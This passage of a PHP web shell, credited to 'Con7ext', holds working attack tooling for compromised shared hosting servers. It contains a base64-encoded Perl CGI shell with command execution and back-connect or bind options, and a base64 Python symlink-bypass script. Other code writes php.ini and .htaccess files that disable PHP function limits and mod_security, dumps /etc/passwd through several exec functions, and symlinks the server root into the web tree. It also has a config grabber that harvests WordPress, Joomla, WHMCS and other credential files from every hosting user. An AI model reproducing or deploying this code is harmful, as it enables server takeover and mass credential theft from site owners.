1lbHNlDQoJCQl7DQoJCQkJcHJpbnQgIjxydW4+IFNvcnJ5ISBZb3UgZG9udCBoYXZlIHBlcm1pc3Npb25zISA8L3J1bj48YnI+IjsNCgkJCX0NCgkJfQ0KCX0NCgkkcmVuYW1lPSRpbnsncmVuYW1lJ307DQoJaWYoISRyZW5hbWUgZXEgIiIpDQoJew0KCQlpZihyZW5hbWUoJFRyYW5zZmVyRmlsZSwkcmVuYW1lKSkNCgkJew0KCQkJcHJpbnQgIjxydW4+IERvbmUhIDwvcnVuPjxicj4iOw0KCQl9ZWxzZQ0KCQl7DQoJCQlwcmludCAiPHJ1bj4gU29ycnkhIFlvdSBkb250IGhhdmUgcGVybWlzc2lvbnMhIDwvcnVuPjxicj4iOw0KCQl9DQoJfQ0KCSRyZW1vdmU9JGlueydyZW1vdmUnfTsNCglpZigkcmVtb3ZlIG5lICIiKQ0KCXsNCgkJJHJtID0gJEN1cnJlbnREaXIuJFBhdGhTZXAuJHJlbW92ZTsNCgkJaWYoLWQgJHJtKQ0KCQl7DQoJCQkmUm1EaXIoJHJtKTsNCgkJfWVsc2UNCgkJew0KCQkJaWYodW5saW5rKCRybSkpDQoJCQl7DQoJCQkJcHJpbnQgIjxydW4+IERvbmUhIDwvcnVuPjxicj4iOw0KCQkJfWVsc2UNCgkJCXsNCgkJCQlwcmludCAiPHJ1bj4gU29ycnkhIFlvdSBkb250IGhhdmUgcGVybWlzc2lvbnMhIDwvcnVuPjxicj4iOw0KCQkJfQkJCQ0KCQl9DQoJfQ0KCXByaW50ICZMaXN0RGlyOw0KDQp9DQplbHNpZigkQWN0aW9uIGVxICJjb21tYW5kIikJCQkJIAkjIHVzZXIgd2FudHMgdG8gcnVuIGEgY29tbWFuZA0Kew0KCSZQcmludFBhZ2VIZWFkZXIoImMiKTsNCglwcmludCAmRXhlY3V0ZUNvbW1hbmQ7DQp9DQplbHNpZigkQWN0aW9uIGVxICJzYXZlIikJCQkJIAkjIHVzZXIgd2FudHMgdG8gc2F2ZSBhIGZpbGUNCnsNCgkmUHJpbnRQYWdlSGVhZGVyOw0KCWlmKCZTYXZlRmlsZSgkaW57J2RhdGEnfSwkaW57J2ZpbGUnfSkpDQoJew0KCQlwcmludCAiPHJ1bj4gRG9uZSEgPC9ydW4+PGJyPiI7DQoJfWVsc2UNCgl7DQoJCXByaW50ICI8cnVuPiBTb3JyeSEgWW91IGRvbnQgaGF2ZSBwZXJtaXNzaW9ucyEgPC9ydW4+PGJyPiI7DQoJfQ0KCXByaW50ICZMaXN0RGlyOw0KfQ0KZWxzaWYoJEFjdGlvbiBlcSAidXBsb2FkIikgCQkJCQkjIHVzZXIgd2FudHMgdG8gdXBsb2FkIGEgZmlsZQ0Kew0KCSZQcmludFBhZ2VIZWFkZXI7DQoNCglwcmludCAmVXBsb2FkRmlsZTsNCn0NCmVsc2lmKCRBY3Rpb24gZXEgImJhY2tiaW5kIikgCQkJCSMgdXNlciB3YW50cyB0byBiYWNrIGNvbm5lY3Qgb3IgYmluZCBwb3J0DQp7DQoJJlByaW50UGFnZUhlYWRlcigiY2xpZW50cG9ydCIpOw0KCXByaW50ICZCYWNrQmluZDsNCn0NCmVsc2lmKCRBY3Rpb24gZXEgImJydXRlZm9yY2VyIikgCQkJIyB1c2VyIHdhbnRzIHRvIGJydXRlIGZvcmNlDQp7DQoJJlByaW50UGFnZUhlYWRlcjsNCglwcmludCAmQnJ1dGVGb3JjZXI7DQp9ZWxzaWYoJEFjdGlvbiBlcSAiZG93bmxvYWQiKSAJCQkJIyB1c2VyIHdhbnRzIHRvIGRvd25sb2FkIGEgZmlsZQ0Kew0KCXByaW50ICZEb3dubG9hZEZpbGU7DQp9ZWxzaWYoJEFjdGlvbiBlcSAiY2hlY2tsb2ciKSAJCQkJIyB1c2VyIHdhbnRzIHRvIHZpZXcgbG9nIGZpbGUNCnsNCgkmUHJpbnRQYWdlSGVhZGVyOw0KCXByaW50ICZWaWV3TG9nOw0KDQp9ZWxzaWYoJEFjdGlvbiBlcSAiZG9tYWluc3VzZXIiKSAJCQkjIHVzZXIgd2FudHMgdG8gdmlldyBsaXN0IHVzZXIvZG9tYWluDQp7DQoJJlByaW50UGFnZUhlYWRlcjsNCglwcmludCAmVmlld0RvbWFpblVzZXI7DQp9ZWxzaWYoJEFjdGlvbiBlcSAibG9nb3V0IikgCQkJCSMgdXNlciB3YW50cyB0byBsb2dvdXQNCnsNCgkmUGVyZm9ybUxvZ291dDsNCn0NCiZQcmludFBhZ2VGb290ZXI7";
	$cgi = fopen($file_cgi, "w");
	fwrite($cgi, base64_decode($cgi_script));
	fwrite($htcgi, $isi_htcgi);
	chmod($file_cgi, 0755);
        chmod($memeg, 0755);
	echo "<br><center>Done ... <a href='con7ext_cgi/cgi.con7ext' target='_blank'>Klik Here</a>";
}elseif($_GET['symlink'] == 'python') {
	$sym_dir = mkdir('con7ext_sympy', 0755);
        chdir('con7ext_sympy');
	$file_sym = "sym.py";
	$sym_script = "Iy8qUHl0aG9uDQoNCmltcG9ydCB0aW1lDQppbXBvcnQgb3MNCmltcG9ydCBzeXMNCmltcG9ydCByZQ0KDQpvcy5zeXN0ZW0oImNvbG9yIEMiKQ0KDQpodGEgPSAiXG5GaWxlIDogLmh0YWNjZXNzIC8vIENyZWF0ZWQgU3VjY2Vzc2Z1bGx5IVxuIg0KZiA9ICJBbGwgUHJvY2Vzc2VzIERvbmUhXG5TeW1saW5rIEJ5cGFzc2VkIFN1Y2Nlc3NmdWxseSFcbiINCnByaW50ICJcbiINCnByaW50ICJ+Iio2MA0KcHJpbnQgIlN5bWxpbmsgQnlwYXNzIDIwMTQgYnkgTWluZGxlc3MgSW5qZWN0b3IgIg0KcHJpbnQgIiAgICAgICAgICAgICAgU3BlY2lhbCBHcmVldHogdG8gOiBQYWsgQ3liZXIgU2t1bGx6Ig0KcHJpbnQgIn4iKjYwDQoNCm9zLm1ha2VkaXJzKCdicnVkdWxzeW1weScpDQpvcy5jaGRpcignYnJ1ZHVsc3ltcHknKQ0KDQpzdXNyPVtdDQpzaXRleD1bXQ0Kb3Muc3lzdGVtKCJsbiAtcyAvIGJydWR1bC50eHQiKQ0KDQpoID0gIk9wdGlvbnMgSW5kZXhlcyBGb2xsb3dTeW1MaW5rc1xuRGlyZWN0b3J5SW5kZXggYnJ1ZHVsLnBodG1sXG5BZGRUeXBlIHR4dCAucGhwXG5BZGRIYW5kbGVyIHR4dCAucGhwIg0KbSA9IG9wZW4oIi5odGFjY2VzcyIsIncrIikNCm0ud3JpdGUoaCkNCm0uY2xvc2UoKQ0KcHJpbnQgaHRhDQoNCnNmID0gIjxodG1sPjx0aXRsZT5TeW1saW5rIFB5dGhvbjwvdGl0bGU+PGNlbnRlcj48Zm9udCBjb2xvcj13aGl0ZSBzaXplPTU+U3ltbGluayBCeXBhc3MgMjAxNzxicj48Zm9udCBzaXplPTQ+TWFkZSBCeSBNaW5kbGVzcyBJbmplY3RvciA8YnI+UmVjb2RlZCBCeSBDb243ZXh0PC9mb250PjwvZm9udD48YnI+PGZvbnQgY29sb3I9d2hpdGUgc2l6ZT0zPjx0YWJsZT4iDQoNCm8gPSBvcGVuKCcvZXRjL3Bhc3N3ZCcsJ3InKQ0Kbz1vLnJlYWQoKQ0KbyA9IHJlLmZpbmRhbGwoJy9ob21lL1x3KycsbykNCg0KZm9yIHh1c3IgaW4gbzoNCgl4dXNyPXh1c3IucmVwbGFjZSgnL2hvbWUvJywnJykNCglzdXNyLmFwcGVuZCh4dXNyKQ0KcHJpbnQgIi0iKjMwDQp4c2l0ZSA9IG9zLmxpc3RkaXIoIi92YXIvbmFtZWQiKQ0KDQpmb3IgeHhzaXRlIGluIHhzaXRlOg0KCXh4c2l0ZT14eHNpdGUucmVwbGFjZSgiLmRiIiwiIikNCglzaXRleC5hcHBlbmQoeHhzaXRlKQ0KcHJpbnQgZg0KcGF0aD1vcy5nZXRjd2QoKQ0KaWYgIi9wdWJsaWNfaHRtbC8iIGluIHBhdGg6DQoJcGF0aD0iL3B1YmxpY19odG1sLyINCmVsc2U6DQoJcGF0aCA9ICIvaHRtbC8iDQpjb3VudGVyPTENCmlwcz1vcGVuKCJicnVkdWwucGh0bWwiLCJ3IikNCmlwcy53cml0ZShzZikNCg0KZm9yIGZ1c3IgaW4gc3VzcjoNCglmb3IgZnNpdGUgaW4gc2l0ZXg6DQoJCWZ1PWZ1c3JbMDo1XQ0KCQlzPWZzaXRlWzA6NV0NCgkJaWYgZnU9PXM6DQoJCQlpcHMud3JpdGUoIjxib2R5IGJnY29sb3I9YmxhY2s+PHRyPjx0ZCBzdHlsZT1mb250LWZhbWlseTpjYWxpYnJpO2ZvbnQtd2VpZ2h0OmJvbGQ7Y29sb3I6d2hpdGU7PiVzPC90ZD48dGQgc3R5bGU9Zm9udC1mYW1pbHk6Y2FsaWJyaTtmb250LXdlaWdodDpib2xkO2NvbG9yOnJlZDs+JXM8L3RkPjx0ZCBzdHlsZT1mb250LWZhbWlseTpjYWxpYnJpO2ZvbnQtd2VpZ2h0OmJvbGQ7PjxhIGhyZWY9YnJ1ZHVsLnR4dC9ob21lLyVzJXMgdGFyZ2V0PV9ibGFuayA+JXM8L2E+PC90ZD4iJShjb3VudGVyLGZ1c3IsZnVzcixwYXRoLGZzaXRlKSkNCgkJCWNvdW50ZXI9Y291bnRlcisx";
        $sym = fopen($file_sym, "w");
	fwrite($sym, base64_decode($sym_script));
	chmod($file_sym, 0755);
        $jancok = exe("python sym.py");
        echo "<div id='menu'><center><a href='?path=$path&symlink=server'>Symlink Server</a><a href='?path=$path&symlink=404'>Symlink 404</a><a href='?path=$path&symlink=python'>Bypass Symlink Python</a></div>";
	echo "<br><center>Done ... <a href='con7ext_sympy/brudulsympy/' target='_blank'>Klik Here</a>";
} elseif($_GET['bypass'] == 'disablefunc'){
                echo "<div id='menu'><center><a href='?path=$path&bypass=disablefunc'>Disable Functions</a><a href='?path=$path&bypass=passwd'>Bypass /etc/passwd</a><a href='?path=$path&bypass=vhosts'>Bypass Vhosts</a></div>";
		echo "<br><br><center>";
		echo "<form method=post><input type=submit name=ini value='php.ini' />&nbsp;<input type=submit name=htce value='.htaccess' />&nbsp;<input type=submit name=litini value='Litespeed' /></form>";
		if(isset($_POST['ini']))
{
		$file = fopen("php.ini","w");
		echo fwrite($file,"disable_functions=none
safe_mode = Off
	");
		fclose($file);
		echo "<a href='php.ini'>click here!</a>";
}		if(isset($_POST['htce']))
{
		$file = fopen(".htaccess","w");
		echo fwrite($file,"<IfModule mod_security.c>
SecFilterEngine Off
SecFilterScanPOST Off
</IfModule>
	");
		fclose($file);
		echo "htaccess successfully created!";
}               if(isset($_POST['litini'])){
		$iniph = '<? n echo ini_get("safe_mode"); n echo ini_get("open_basedir"); n include($_GET["file"]); n ini_restore("safe_mode"); n ini_restore("open_basedir"); n echo ini_get("safe_mode"); n echo ini_get("open_basedir"); n include($_GET["ss"]; n ?>';
			 $byph = "safe_mode = Off n disable_functions= ";
		$comp="PEZpbGVzICoucGhwPg0KRm9yY2VUeXBlIGFwcGxpY2F0aW9uL3gtaHR0cGQtcGhwNA0KPC9GaWxlcz4=";
		file_put_contents("php.ini",base64_decode($byph));
		file_put_contents("ini.php",base64_decode($iniph));
		file_put_contents(".htaccess",base64_decode($comp));
		echo "<script>alert('Disable Functions in Litespeed Created'); hideAll();</script>";
		echo"</center>";
}
}elseif($_GET['bypass'] == 'tool'){
echo "<div id='menu'><center>";
echo "<a href='?path=$path&bypass=disablefunc'>Disable Functions</a><a href='?path=$path&bypass=passwd'>Bypass /etc/passwd</a><a href='?path=$path&bypass=vhosts'>Bypass Vhosts</a></div>";
} elseif($_GET['symlink'] == 'tool'){
echo "<div id='menu'><center>";
echo "<a href='?path=$path&symlink=server'>Symlink Server</a><a href='?path=$path&symlink=404'>Symlink 404</a><a href='?path=$path&symlink=python'>Bypass Symlink Python</a></div>";
} elseif ($_GET['symlink'] == '404'){
@error_reporting(0);
@ini_set('display_errors', 0); 
echo "<div id='menu'><center><a href='?path=$path&symlink=server'>Symlink Server</a><a href='?path=$path&symlink=404'>Symlink 404</a><a href='?path=$path&symlink=python'>Bypass Symlink Python</a></div>";
echo '<center><b><a href="https://www.facebook.com/rinto2234">Coded By Con7ext</a></b><br>
<form method="post"><br>File Target : <input name="dir" value="/home/user/public_html/wp-config.php">
<br>
<br>Save As: <input name="jnck" value="ojayakan.txt"><input name="ojaykan" type="submit" value="Eksekusi Gan"></form><br>';
if($_POST['ojaykan']){
rmdir("con7ext_symlink404");mkdir("con7ext_symlink404", 0777);
$dir = $_POST['dir'];
$jnck = $_POST['jnck'];
system("ln -s ".$dir." con7ext_symlink404/".$jnck);
symlink($dir,"con7ext_symlink404/".$jnck);
$inija = fopen("con7ext_symlink404/.htaccess", "w");
fwrite($inija,"ReadmeName ".$jnck."
Options Indexes FollowSymLinks
DirectoryIndex ngeue.htm
AddType text/plain .php
AddHandler text/plain .php
Satisfy Any
");
echo'<a href="con7ext_symlink404/" target="_blank">Klik Gan >:(</a>';
}
}elseif($_GET['bypass'] == 'passwd') {
        echo '<div id="menu"><center><a href="?path=$path&bypass=disablefunc">Disable Functions</a><a href="?path=$path&bypass=passwd">Bypass /etc/passwd</a><a href="?path=$path&bypass=vhosts">Bypass Vhosts</a></div>';
	echo '<br><br><center>Bypass etc/passw With:<br>
<table style="width:50%">
  <tr>
    <td><form method="post"><input type="submit" value="System Function" name="syst"></form></td>
    <td><form method="post"><input type="submit" value="Passthru Function" name="passth"></form></td>
    <td><form method="post"><input type="submit" value="Exec Function" name="ex"></form></td>	
    <td><form method="post"><input type="submit" value="Shell_exec Function" name="shex"></form></td>		
    <td><form method="post"><input type="submit" value="Posix_getpwuid Function" name="melex"></form></td>
</tr></table>Bypass User With : <table style="width:50%">
<tr>
    <td><form method="post"><input type="submit" value="Awk Program" name="awkuser"></form></td>
    <td><form method="post"><input type="submit" value="System Function" name="systuser"></form></td>
    <td><form method="post"><input type="submit" value="Passthru Function" name="passthuser"></form></td>	
    <td><form method="post"><input type="submit" value="Exec Function" name="exuser"></form></td>		
    <td><form method="post"><input type="submit" value="Shell_exec Function" name="shexuser"></form></td>
</tr>
</table><br>';


if ($_POST['awkuser']) {
echo"<textarea class='inputzbut' cols='65' rows='15'>";
echo shell_exec("awk -F: '{ print $1 }' /etc/passwd | sort");
echo "</textarea><br>";
}
if ($_POST['systuser']) {
echo"<textarea class='inputzbut' cols='65' rows='15'>";
echo system("ls /var/mail");
echo "</textarea><br>";
}
if ($_POST['passthuser']) {
echo"<textarea class='inputzbut' cols='65' rows='15'>";
echo passthru("ls /var/mail");
echo "</textarea><br>";
}
if ($_POST['exuser']) {
echo"<textarea class='inputzbut' cols='65' rows='15'>";
echo exec("ls /var/mail");
echo "</textarea><br>";
}
if ($_POST['shexuser']) {
echo"<textarea class='inputzbut' cols='65' rows='15'>";
echo shell_exec("ls /var/mail");
echo "</textarea><br>";
}
if($_POST['syst'])
{
echo"<textarea class='inputz' cols='65' rows='15'>";
echo system("cat /etc/passwd");
echo"</textarea><br><br><b></b><br>";
}
if($_POST['passth'])
{
echo"<textarea class='inputz' cols='65' rows='15'>";
echo passthru("cat /etc/passwd");
echo"</textarea><br><br><b></b><br>";
}
if($_POST['ex'])
{
echo"<textarea class='inputz' cols='65' rows='15'>";
echo exec("cat /etc/passwd");
echo"</textarea><br><br><b></b><br>";
}
if($_POST['shex'])
{
echo"<textarea class='inputz' cols='65' rows='15'>";
echo shell_exec("cat /etc/passwd");
echo"</textarea><br><br><b></b><br>";
}
echo '<center>';
if($_POST['melex'])
{
echo"<textarea class='inputz' cols='65' rows='15'>";
for($uid=0;$uid<60000;$uid++){ 
$ara = posix_getpwuid($uid);
if (!empty($ara)) {
while (list ($key, $val) = each($ara)){
print "$val:";
}
print "
";
}
}
echo"</textarea><br><br>";
}
} elseif($_GET['kill'] == 'self') {
	if(@unlink(preg_replace('!\(\d+\)\s.*!', '', __FILE__)))
			die('<center><br><center><h2>Shell removed</h2><br>Goodbye , Thanks for take my shell today</center></center>');
		else
			echo '<center>unlink failed!</center>';
}
elseif($_GET['symlink'] == 'server') {
$full = str_replace($_SERVER['DOCUMENT_ROOT'], "", $path);
$d0mains = @file("/etc/named.conf");
##httaces
if($d0mains){
@mkdir("con7ext_sym",0777);
@chdir("con7ext_sym");
@exe("ln -s / root");
$file3 = 'Options Indexes FollowSymLinks
DirectoryIndex con7ext.htm
AddType text/plain .php
AddHandler text/plain .php
Satisfy Any';
$fp3 = fopen('.htaccess','w');
$fw3 = fwrite($fp3,$file3);@fclose($fp3);
echo "<div id='menu'><center><a href='?path=$path&symlink=server'>Symlink Server</a><a href='?path=$path&symlink=404'>Symlink 404</a><a href='?path=$path&symlink=python'>Bypass Symlink Python</a></div>";
echo "<br>
<table align=center border=1 style='width:60%;border-color:#333333;'>
<tr>
<td align=center><font size=2>S. No.</font></td>
<td align=center><font size=2>Domains</font></td>
<td align=center><font size=2>Users</font></td>
<td align=center><font size=2>Symlink</font></td>
</tr>";
$dcount = 1;
foreach($d0mains as $d0main){
if(eregi("zone",$d0main)){preg_match_all('#zone "(.*)"#', $d0main, $domains);
flush();
if(strlen(trim($domains[1][0])) > 2){
$user = posix_getpwuid(@fileowner("/etc/valiases/".$domains[1][0]));
echo "<tr align=center><td><font size=2>" . $dcount . "</font></td>
<td align=left><a href=http://www.".$domains[1][0]."/><font class=txt>".$domains[1][0]."</font></a></td>
<td>".$user['name']."</td>
<td><a href='$full/con7ext_sym/root/home/".$user['name']."/public_html' target='_blank'><font class=txt>Symlink</font></a></td></tr>";
flush();
$dcount++;}}}
echo "</table>";
}else{
$TEST=@file('/etc/passwd');
if ($TEST){
@mkdir("con7ext_sym",0777);
@chdir("con7ext_sym");
exe("ln -s / root");
$file3 = 'Options Indexes FollowSymLinks
DirectoryIndex con7ext.htm
AddType text/plain .php
AddHandler text/plain .php
Satisfy Any';
 $fp3 = fopen('.htaccess','w');
 $fw3 = fwrite($fp3,$file3);
 @fclose($fp3);
 echo "
 <table align=center border=1><tr>
 <td align=center><font size=3>S. No.</font></td>
 <td align=center><font size=3>Users</font></td>
 <td align=center><font size=3>Symlink</font></td></tr>";
 $dcount = 1;
 $file = fopen("/etc/passwd", "r") or exit("Unable to open file!");
 while(!feof($file)){
 $s = fgets($file);
 $matches = array();
 $t = preg_match('/\/(.*?)\:\//s', $s, $matches);
 $matches = str_replace("home/","",$matches[1]);
 if(strlen($matches) > 12 || strlen($matches) == 0 || $matches == "bin" || $matches == "etc/X11/fs" || $matches == "var/lib/nfs" || $matches == "var/arpwatch" || $matches == "var/gopher" || $matches == "sbin" || $matches == "var/adm" || $matches == "usr/games" || $matches == "var/ftp" || $matches == "etc/ntp" || $matches == "var/www" || $matches == "var/named")
 continue;
 echo "<tr><td align=center><font size=2>" . $dcount . "</td>
 <td align=center><font class=txt>" . $matches . "</td>";
 echo "<td align=center><font class=txt><a href=$full/con7ext_sym/root/home/" . $matches . "/public_html target='_blank'>Symlink</a></td></tr>";
 $dcount++;}fclose($file);
 echo "</table>";}else{if($os != "Windows"){@mkdir("con7ext_sym",0777);@chdir("con7ext_sym");@exe("ln -s / root");$file3 = '
 Options Indexes FollowSymLinks
DirectoryIndex con7ext.htm
AddType text/plain .php
AddHandler text/plain .php
Satisfy Any
';
 $fp3 = fopen('.htaccess','w');
 $fw3 = fwrite($fp3,$file3);@fclose($fp3);
 echo "
 <div class='mybox'><h2 class='k2ll33d2'>server symlinker</h2>
 <table align=center border=1><tr>
 <td align=center><font size=3>ID</font></td>
 <td align=center><font size=3>Users</font></td>
 <td align=center><font size=3>Symlink</font></td></tr>";
 $temp = "";$val1 = 0;$val2 = 1000;
 for(;$val1 <= $val2;$val1++) {$uid = @posix_getpwuid($val1);
 if ($uid)$temp .= join(':',$uid)."
";}
 echo '<br/>';$temp = trim($temp);$file5 =
 fopen("test.txt","w");
 fputs($file5,$temp);
 fclose($file5);$dcount = 1;$file =
 fopen("test.txt", "r") or exit("Unable to open file!");
 while(!feof($file)){$s = fgets($file);$matches = array();
 $t = preg_match('/\/(.*?)\:\//s', $s, $matches);$matches = str_replace("home/","",$matches[1]);
 if(strlen($matches) > 12 || strlen($matches) == 0 || $matches == "bin" || $matches == "etc/X11/fs" || $matches == "var/lib/nfs" || $matches == "var/arpwatch" || $matches == "var/gopher" || $matches == "sbin" || $matches == "var/adm" || $matches == "usr/games" || $matches == "var/ftp" || $matches == "etc/ntp" || $matches == "var/www" || $matches == "var/named")
 continue;
 echo "<tr><td align=center><font size=2>" . $dcount . "</td>
 <td align=center><font class=txt>" . $matches . "</td>";
 echo "<td align=center><font class=txt><a href=$full/con7ext_sym/root/home/" . $matches . "/public_html target='_blank'>Symlink</a></td></tr>";
 $dcount++;}
 fclose($file);
 echo "</table></div></center>";unlink("test.txt");
 } else
 echo "<center><font size=3>Cannot create Symlink</font></center>";
 }
 }
} elseif($_GET['config'] == 'grabber') {
			if(strtolower(substr(PHP_OS, 0, 3)) == "win"){
echo '<script>alert("Tidak bisa di gunakan di server windows")</script>';
exit;
}
	if($_POST){	if($_POST['config'] == 'symvhosts') {
		@mkdir("con7ext_symvhosts", 0777);
exe("ln -s / con7ext_symvhosts/root");
$htaccess="Options Indexes FollowSymLinks
DirectoryIndex con7ext.htm
AddType text/plain .php 
AddHandler text/plain .php
Satisfy Any";
@file_put_contents("con7ext_symvhosts/.htaccess",$htaccess);
		$etc_passwd=$_POST['passwd'];
    
    $etc_passwd=explode("
",$etc_passwd);
foreach($etc_passwd as $passwd){
$pawd=explode(":",$passwd);
$user =$pawd[5];
$jembod = preg_replace('/\/var\/www\/vhosts\//', '', $user);
if (preg_match('/vhosts/i',$user)){
exe("ln -s ".$user."/httpdocs/wp-config.php con7ext_symvhosts/".$jembod."-Wordpress.txt");
exe("ln -s ".$user."/httpdocs/configuration.php con7ext_symvhosts/".$jembod."-Joomla.txt");
exe("ln -s ".$user."/httpdocs/config/koneksi.php con7ext_symvhosts/".$jembod."-Lokomedia.txt");
exe("ln -s ".$user."/httpdocs/forum/config.php con7ext_symvhosts/".$jembod."-phpBB.txt");
exe("ln -s ".$user."/httpdocs/sites/default/settings.php con7ext_symvhosts/".$jembod."-Drupal.txt");
exe("ln -s ".$user."/httpdocs/config/settings.inc.php con7ext_symvhosts/".$jembod."-PrestaShop.txt");
exe("ln -s ".$user."/httpdocs/app/etc/local.xml con7ext_symvhosts/".$jembod."-Magento.txt");
exe("ln -s ".$user."/httpdocs/admin/config.php con7ext_symvhosts/".$jembod."-OpenCart.txt");
exe("ln -s ".$user."/httpdocs/application/config/database.php con7ext_symvhosts/".$jembod."-Ellislab.txt"); 
}}}
if($_POST['config'] == 'symlink') {
@mkdir("con7ext_symconfig", 0777);
@symlink("/","con7ext_symconfig/root");
$htaccess="Options Indexes FollowSymLinks
DirectoryIndex con7ext.htm
AddType text/plain .php 
AddHandler text/plain .php
Satisfy Any";
@file_put_contents("con7ext_symconfig/.htaccess",$htaccess);}
if($_POST['config'] == '404') {
@mkdir("con7ext_sym404", 0777);
@symlink("/","con7ext_sym404/root");
$htaccess="Options Indexes FollowSymLinks
DirectoryIndex con7ext.htm
AddType text/plain .php 
AddHandler text/plain .php
Satisfy Any
IndexOptions +Charset=UTF-8 +FancyIndexing +IgnoreCase +FoldersFirst +XHTML +HTMLTable +SuppressRules +SuppressDescription +NameWidth=*
IndexIgnore *.txt404
RewriteEngine On
RewriteCond %{REQUEST_FILENAME} ^.*con7ext_sym404 [NC]
RewriteRule \.txt$ %{REQUEST_URI}404 [L,R=302.NC]";
@file_put_contents("con7ext_sym404/.htaccess",$htaccess);
}
if($_POST['config'] == 'grab') {
						mkdir("con7ext_configgrab", 0777);
						$isi_htc = "Options all
Require None
Satisfy Any";
						$htc = fopen("con7ext_configgrab/.htaccess","w");
						fwrite($htc, $isi_htc);	
}
$passwd = $_POST['passwd'];

preg_match_all('/(.*?):x:/', $passwd, $user_config);
foreach($user_config[1] as $user_con7ext) {
$grab_config = array(
"/home/$user_con7ext/.accesshash" => "WHM-accesshash",
"/home/$user_con7ext/public_html/config/koneksi.php" => "Lokomedia",
"/home/$user_con7ext/public_html/forum/config.php" => "phpBB",
"/home/$user_con7ext/public_html/sites/default/settings.php" => "Drupal",
"/home/$user_con7ext/public_html/config/settings.inc.php" => "PrestaShop",
"/home/$user_con7ext/public_html/app/etc/local.xml" => "Magento",
"/home/$user_con7ext/public_html/admin/config.php" => "OpenCart",
"/home/$user_con7ext/public_html/application/config/database.php" => "Ellislab",
"/home/$user_con7ext/public_html/vb/includes/config.php" => "Vbulletin",
"/home/$user_con7ext/public_html/includes/config.php" => "Vbulletin",
"/home/$user_con7ext/public_html/forum/includes/config.php" => "Vbulletin",
"/home/$user_con7ext/public_html/forums/includes/config.php" => "Vbulletin",
"/home/$user_con7ext/public_html/cc/includes/config.php" => "Vbulletin",
"/home/$user_con7ext/public_html/inc/config.php" => "MyBB",
"/home/$user_con7ext/public_html/includes/configure.php" => "OsCommerce",
"/home/$user_con7ext/public_html/shop/includes/configure.php" => "OsCommerce",
"/home/$user_con7ext/public_html/os/includes/configure.php" => "OsCommerce",
"/home/$user_con7ext/public_html/oscom/includes/configure.php" => "OsCommerce",
"/home/$user_con7ext/public_html/products/includes/configure.php" => "OsCommerce",
"/home/$user_con7ext/public_html/cart/includes/configure.php" => "OsCommerce",
"/home/$user_con7ext/public_html/inc/conf_global.php" => "IPB",
"/home/$user_con7ext/public_html/wp-config.php" => "Wordpress",
"/home/$user_con7ext/public_html/wp/test/wp-config.php" => "Wordpress",
"/home/$user_con7ext/public_html/blog/wp-config.php" => "Wordpress",
"/home/$user_con7ext/public_html/beta/wp-config.php" => "Wordpress",
"/home/$user_con7ext/public_html/portal/wp-config.php" => "Wordpress",
"/home/$user_con7ext/public_html/site/wp-config.php" => "Wordpress",
"/home/$user_con7ext/public_html/wp/wp-config.php" => "Wordpress",
"/home/$user_con7ext/public_html/WP/wp-config.php" => "Wordpress",
"/home/$user_con7ext/public_html/news/wp-config.php" => "Wordpress",
"/home/$user_con7ext/public_html/wordpress/wp-config.php" => "Wordpress",
"/home/$user_con7ext/public_html/test/wp-config.php" => "Wordpress",
"/home/$user_con7ext/public_html/demo/wp-config.php" => "Wordpress",
"/home/$user_con7ext/public_html/home/wp-config.php" => "Wordpress",
"/home/$user_con7ext/public_html/v1/wp-config.php" => "Wordpress",
"/home/$user_con7ext/public_html/v2/wp-config.php" => "Wordpress",
"/home/$user_con7ext/public_html/press/wp-config.php" => "Wordpress",
"/home/$user_con7ext/public_html/new/wp-config.php" => "Wordpress",
"/home/$user_con7ext/public_html/blogs/wp-config.php" => "Wordpress",
"/home/$user_con7ext/public_html/configuration.php" => "Joomla",
"/home/$user_con7ext/public_html/blog/configuration.php" => "Joomla",
"/home/$user_con7ext/public_html/submitticket.php" => "^WHMCS",
"/home/$user_con7ext/public_html/cms/configuration.php" => "Joomla",
"/home/$user_con7ext/public_html/beta/configuration.php" => "Joomla",
"/home/$user_con7ext/public_html/portal/configuration.php" => "Joomla",
"/home/$user_con7ext/public_html/site/configuration.php" => "Joomla",
"/home/$user_con7ext/public_html/main/configuration.php" => "Joomla",
"/home/$user_con7ext/public_html/home/configuration.php" => "Joomla",
"/home/$user_con7ext/public_html/demo/configuration.php" => "Joomla",
"/home/$user_con7ext/public_html/test/configuration.php" => "Joomla",
"/home/$user_con7ext/public_html/v1/configuration.php" => "Joomla",
"/home/$user_con7ext/public_html/v2/configuration.php" => "Joomla",
"/home/$user_con7ext/public_html/joomla/configuration.php" => "Joomla",
"/home/$user_con7ext/public_html/new/configuration.php" => "Joomla",
"/home/$user_con7ext/public_html/WHMCS/submitticket.php" => "WHMCS",
"/home/$user_con7ext/public_html/whmcs1/submitticket.php" => "WHMCS",
"/home/$user_con7ext/public_html/Whmcs/submitticket.php" => "WHMCS",
"/home/$user_con7ext/public_html/whmcs/submitticket.php" => "WHMCS",
"/home/$user_con7ext/public_html/whmcs/submitticket.php" => "WHMCS",
"/home/$user_con7ext/public_html/WHMC/submitticket.php" => "WHMCS",
"/home/$user_con7ext/public_html/Whmc/submitticket.php" => "WHMCS",
"/home/$user_con7ext/public_html/whmc/submitticket.php" => "WHMCS",
"/home/$user_con7ext/public_html/WHM/submitticket.php" => "WHMCS",
"/home/$user_con7ext/public_html/Whm/submitticket.php" => "WHMCS",
"/home/$user_con7ext/public_html/whm/submitticket.php" => "WHMCS",
"/home/$user_con7ext/public_html/HOST/submitticket.php" => "WHMCS",
"/home/$user_con7ext/public_html/Host/submitticket.php" => "WHMCS",
"/home/$user_con7ext/public_html/host/submitticket.php" => "WHMCS",
"/home/$user_con7ext/public_html/SUPPORTES/submitticket.php" => "WHMCS",
"/home/$user_con7ext/public_html/Supportes/submitticket.php" => "WHMCS",
"/home/$user_con7ext/public_html/supportes/submitticket.php" => "WHMCS",
"/home/$user_con7ext/public_html/domains/submitticket.php" => "WHMCS",
"/home/$user_con7ext/public_html/domain/submitticket.php" => "WHMCS",
"/home/$user_con7ext/public_html/Hosting/submitticket.php" => "WHMCS",
"/home/$user_con7ext/public_html/HOSTING/submitticket.php" => "WHMCS",
"/home/$user_con7ext/public_html/hosting/submitticket.php" => "WHMCS",
"/home/$user_con7ext/public_html/CART/submitticket.php" => "WHMCS",
"/home/$user_con7ext/public_html/Cart/submitticket.php" => "WHMCS",
"/home/$user_con7ext/public_html/cart/submitticket.php" => "WHMCS",
"/home/$user_con7ext/public_html/ORDER/submitticket.php" => "WHMCS",
"/home/$user_con7ext/public_html/Order/submitticket.php" => "WHMCS",
"/home/$user_con7ext/public_html/order/submitticket.php" => "WHMCS",
